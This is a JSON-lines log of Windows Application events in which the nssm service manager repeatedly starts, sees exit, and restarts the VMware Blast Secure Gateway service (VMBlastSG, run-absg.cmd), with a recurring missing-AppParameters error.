{"@timestamp":1646636447858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154405}}
{"@timestamp":1646636447859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154406}}
{"@timestamp":1646636576346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154407}}
{"@timestamp":1646636576348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154408}}
{"@timestamp":1646636576348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150284","0"]}}},"module":"Application","provider":"nssm","sequence":154409}}
{"@timestamp":1646636576349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150284","150284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154410}}
{"@timestamp":1646636576364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154411}}
{"@timestamp":1646636576365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154412}}
{"@timestamp":1646636576365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154413}}
{"@timestamp":1646636576366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154414}}
{"@timestamp":1646636704893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154415}}
{"@timestamp":1646636704894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154416}}
{"@timestamp":1646636704895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151200","0"]}}},"module":"Application","provider":"nssm","sequence":154417}}
{"@timestamp":1646636704896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151200","151200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154418}}
{"@timestamp":1646636704916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154419}}
{"@timestamp":1646636704917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154420}}
{"@timestamp":1646636704917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154421}}
{"@timestamp":1646636704918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154422}}
{"@timestamp":1646636833399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154423}}
{"@timestamp":1646636833400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154424}}
{"@timestamp":1646636833401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149320","0"]}}},"module":"Application","provider":"nssm","sequence":154425}}
{"@timestamp":1646636833401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149320","149320","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154426}}
{"@timestamp":1646636833422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154427}}
{"@timestamp":1646636833423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154428}}
{"@timestamp":1646636833423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154429}}
{"@timestamp":1646636833424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154430}}
{"@timestamp":1646636962114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154431}}
{"@timestamp":1646636962115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154432}}
{"@timestamp":1646636962116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151936","0"]}}},"module":"Application","provider":"nssm","sequence":154433}}
{"@timestamp":1646636962117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151936","151936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154434}}
{"@timestamp":1646636962132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154435}}
{"@timestamp":1646636962133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154436}}
{"@timestamp":1646636962133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154437}}
{"@timestamp":1646636962134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154438}}
{"@timestamp":1646637090621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154439}}
{"@timestamp":1646637090622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154440}}
{"@timestamp":1646637090623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152496","0"]}}},"module":"Application","provider":"nssm","sequence":154441}}
{"@timestamp":1646637090624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152496","152496","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154442}}
{"@timestamp":1646637090639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154443}}
{"@timestamp":1646637090640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154444}}
{"@timestamp":1646637090641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154445}}
{"@timestamp":1646637090641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154446}}
{"@timestamp":1646637219189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154447}}
{"@timestamp":1646637219190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154448}}
{"@timestamp":1646637219191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151920","0"]}}},"module":"Application","provider":"nssm","sequence":154449}}
{"@timestamp":1646637219192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151920","151920","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154450}}
{"@timestamp":1646637219209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154451}}
{"@timestamp":1646637219209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154452}}
{"@timestamp":1646637219210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154453}}
{"@timestamp":1646637219210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154454}}
{"@timestamp":1646637347753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154455}}
{"@timestamp":1646637347754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154456}}
{"@timestamp":1646637347755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152428","0"]}}},"module":"Application","provider":"nssm","sequence":154457}}
{"@timestamp":1646637347756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152428","152428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154458}}
{"@timestamp":1646637347771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154459}}
{"@timestamp":1646637347771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154460}}
{"@timestamp":1646637347772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154461}}
{"@timestamp":1646637347775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154462}}
{"@timestamp":1646637476267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154463}}
{"@timestamp":1646637476269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154464}}
{"@timestamp":1646637476269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151912","0"]}}},"module":"Application","provider":"nssm","sequence":154465}}
{"@timestamp":1646637476270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151912","151912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154466}}
{"@timestamp":1646637476285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154467}}
{"@timestamp":1646637476286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154468}}
{"@timestamp":1646637476286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154469}}
{"@timestamp":1646637476288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154470}}
{"@timestamp":1646637604923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154471}}
{"@timestamp":1646637604924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154472}}
{"@timestamp":1646637604925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151580","0"]}}},"module":"Application","provider":"nssm","sequence":154473}}
{"@timestamp":1646637604925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151580","151580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154474}}
{"@timestamp":1646637604941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154475}}
{"@timestamp":1646637604942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154476}}
{"@timestamp":1646637604943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154477}}
{"@timestamp":1646637604943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154478}}
{"@timestamp":1646637733437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154479}}
{"@timestamp":1646637733438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154480}}
{"@timestamp":1646637733440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152104","0"]}}},"module":"Application","provider":"nssm","sequence":154481}}
{"@timestamp":1646637733440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152104","152104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154482}}
{"@timestamp":1646637733457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154483}}
{"@timestamp":1646637733457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154484}}
{"@timestamp":1646637733458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154485}}
{"@timestamp":1646637733459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154486}}
{"@timestamp":1646637862128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154487}}
{"@timestamp":1646637862132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154488}}
{"@timestamp":1646637862132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151104","0"]}}},"module":"Application","provider":"nssm","sequence":154489}}
{"@timestamp":1646637862133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151104","151104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154490}}
{"@timestamp":1646637862151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154491}}
{"@timestamp":1646637862153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154492}}
{"@timestamp":1646637862154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154493}}
{"@timestamp":1646637862155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154494}}
{"@timestamp":1646637990710,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154495}}
{"@timestamp":1646637990711,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154496}}
{"@timestamp":1646637990712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152028","0"]}}},"module":"Application","provider":"nssm","sequence":154497}}
{"@timestamp":1646637990712,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152028","152028","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154498}}
{"@timestamp":1646637990727,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154499}}
{"@timestamp":1646637990728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154500}}
{"@timestamp":1646637990728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154501}}
{"@timestamp":1646637990729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154502}}
{"@timestamp":1646638119211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154503}}
{"@timestamp":1646638119211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154504}}
{"@timestamp":1646638119212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152260","0"]}}},"module":"Application","provider":"nssm","sequence":154505}}
{"@timestamp":1646638119212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152260","152260","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154506}}
{"@timestamp":1646638119227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154507}}
{"@timestamp":1646638119228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154508}}
{"@timestamp":1646638119229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154509}}
